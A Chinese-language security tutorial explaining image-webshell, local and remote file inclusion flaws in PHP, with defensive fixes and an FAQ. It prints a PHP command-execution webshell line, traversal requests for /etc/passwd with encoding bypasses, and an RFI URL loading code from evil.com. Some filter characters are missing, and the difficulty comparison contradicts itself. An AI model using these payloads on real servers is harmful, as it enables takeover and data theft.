Image在文件包含漏洞中特指被攻击者植入恶意代码的图片文件,而本地文件包含(LFI)和远程文件包含(RFI)是两种利用服务器处理文件包含函数时未严格过滤用户输入而形成的漏洞。
什么是image文件包含漏洞
在Web安全领域,文件包含漏洞常与“image”一词绑定出现,这里的image并非普通图片,而是指包含PHP、ASP等脚本代码的图片文件,俗称“图片马”,攻击者通过上传这类图片,再利用文件包含函数将其执行,从而获得服务器控制权。
image在文件包含中的角色
- 攻击者将恶意代码附加到合法图片文件末尾(如EXIF信息或文件尾部),保持图片可视性,但服务器在处理时会解析其中的代码。
- 常见的图片格式如GIF、JPEG、PNG均可被篡改,许多PHP应用允许上传图片,但未严格校验内容,导致image文件包含漏洞产生。
- 业内专家指出,image文件包含漏洞的利用门槛极低,攻击者只需上传一张图片,再配合地址栏参数即可触发。
典型场景:image文件包含漏洞怎么利用
假设一个网站使用include($_GET['file']);加载页面,攻击者可以上传一个包含<?php system($_GET['cmd']);?>的图片文件,路径为/uploads/shell.jpg,然后通过URL请求:
index.php?file=../uploads/shell.jpg&cmd=id
服务器执行该图片中的代码,返回当前用户ID,漏洞利用成功。
本地文件包含(LFI)详解
本地文件包含指服务器包含自身文件系统中的文件,当函数参数可被用户控制且未过滤等路径符号时,攻击者可读取敏感文件(如/etc/passwd)或执行本地脚本。
LFI的工作原理
文件包含函数(如PHP的include()、require())允许动态加载文件,如果参数来源于用户输入,且未做路径限制,攻击者可以遍历目录。
http://example.com/index.php?page=../../../etc/passwd
理论上,可以读取任意文件,但实际受限于服务器权限和文件存在性。
触发条件与验证方法
- 函数参数直接来自GET或POST请求。
- 未对、等字符进行过滤。
- 常见验证:在URL参数后添加
../etc/passwd,观察页面是否返回文件内容或报错信息。 - 若返回“No such file”可能被过滤,但可通过编码绕过(如
%2e%2e%2f)。
实战中本地文件包含的危害
- 读取配置信息:获取数据库密码、API密钥等。
- 执行本地脚本:配合日志文件包含(如包含Apache日志中的远程代码)实现RCE。
- 据统计,LFI在2026年OWASP Top 10中仍属于常见漏洞类型,尤其在老旧CMS中频发。
远程文件包含(RFI)详解
远程文件包含允许服务器从远程地址加载文件并执行,相比LFI,RFI需要服务器配置允许远程包含(如allow_url_include=On),危害更大,攻击者可直接控制远程服务器上的恶意代码。
RFI的原理与利用
当函数参数可被用户控制,且服务器支持远程文件包含时,攻击者可以指定一个远程URL:
http://example.com/index.php?file=http://evil.com/malicious.txt
服务器会下载并执行malicious.txt中的代码,行业共识认为,RFI是文件包含漏洞中风险最高的形式,因为攻击者无需上传文件,只需一个外网可访问的恶意脚本。
本地文件包含和远程文件包含的区别
| 对比项 | 本地文件包含(LFI) | 远程文件包含(RFI) |
|---|---|---|
| 包含对象 | 服务器本地文件 | 外部远程文件 |
| 依赖条件 | 无特殊配置 | 需开启远程包含功能 |
| 利用难度 | 较低,需上传文件 | 较高,但无需上传 |
| 常见场景 | 读取敏感文件 | 直接执行任意代码 |
| 修复优先级 | 高 | 极高 |
核心差异:LFI需要本地存在可利用文件(如上传的图片马),RFI则直接加载远程恶意代码,攻击门槛更低。
如何防范文件包含漏洞
修复文件包含漏洞需要从代码、服务器配置、安全测试三方面入手,以下步骤可操作性强,适用于大多数PHP环境。
代码层面修复
- 严格过滤输入:白名单方式限制参数值,只允许预定义文件名(如
page1.php、page2.php)。 - 禁用危险函数:若不需要动态包含,则移除
include()、require()的变量参数,改用固定路径。 - 路径规范化:使用
realpath()或basename()函数,消除等相对路径。 - 示例代码:
$allowed = ['home', 'about', 'contact']; if (in_array($_GET['page'], $allowed)) { include('pages/' . $_GET['page'] . '.php'); } else { echo 'Invalid page.'; }
服务器配置
- 关闭远程包含:在php.ini中设置
allow_url_include=Off,这是防范RFI最直接的措施。 - 限制文件读写权限:Web目录下的文件属主尽量为非www用户,减少敏感文件被读取的风险。
- 近年来,多款主流CMS已默认关闭远程包含功能,但仍需检查自定义模块。
安全测试方法
- 对目标URL参数进行路径穿越测试,例如
?file=../../../etc/passwd。 - 尝试编码绕过:
%2e%2e%2f、等。 - 检查是否存在文件上传接口,并测试上传图片马后能否被包含执行。
- 使用自动化扫描工具(如Burp Suite的Intruder)批量测试参数。
常见问题解答
image文件包含漏洞如何修复?
修复的关键是对用户输入进行白名单过滤,不接受任何来自用户控制的路径,禁用不必要的文件包含函数,并确保上传的文件不被当成PHP执行,可参考上述代码示例实现。
本地文件包含和远程文件包含哪个危害更大?
远程文件包含(RFI)危害更大,因为它允许攻击者直接加载外部恶意代码,无需绕过上传限制,但本地文件包含(LFI)在配合上传功能时也能达到同等效果,两者均需优先修复。
服务器文件包含漏洞怎么自查?
首先检查所有使用include、require等函数的代码,确认参数是否受用户控制,在测试环境中模拟路径穿越请求,观察返回内容是否包含敏感文件,检查php.ini中allow_url_include是否开启,若开启则立即关闭。
通过以上步骤,能有效降低文件包含漏洞带来的风险,确保服务器安全运行。
首发原创文章,作者:王坚,如若转载,请注明出处:https://idctop.com/article/562181.html




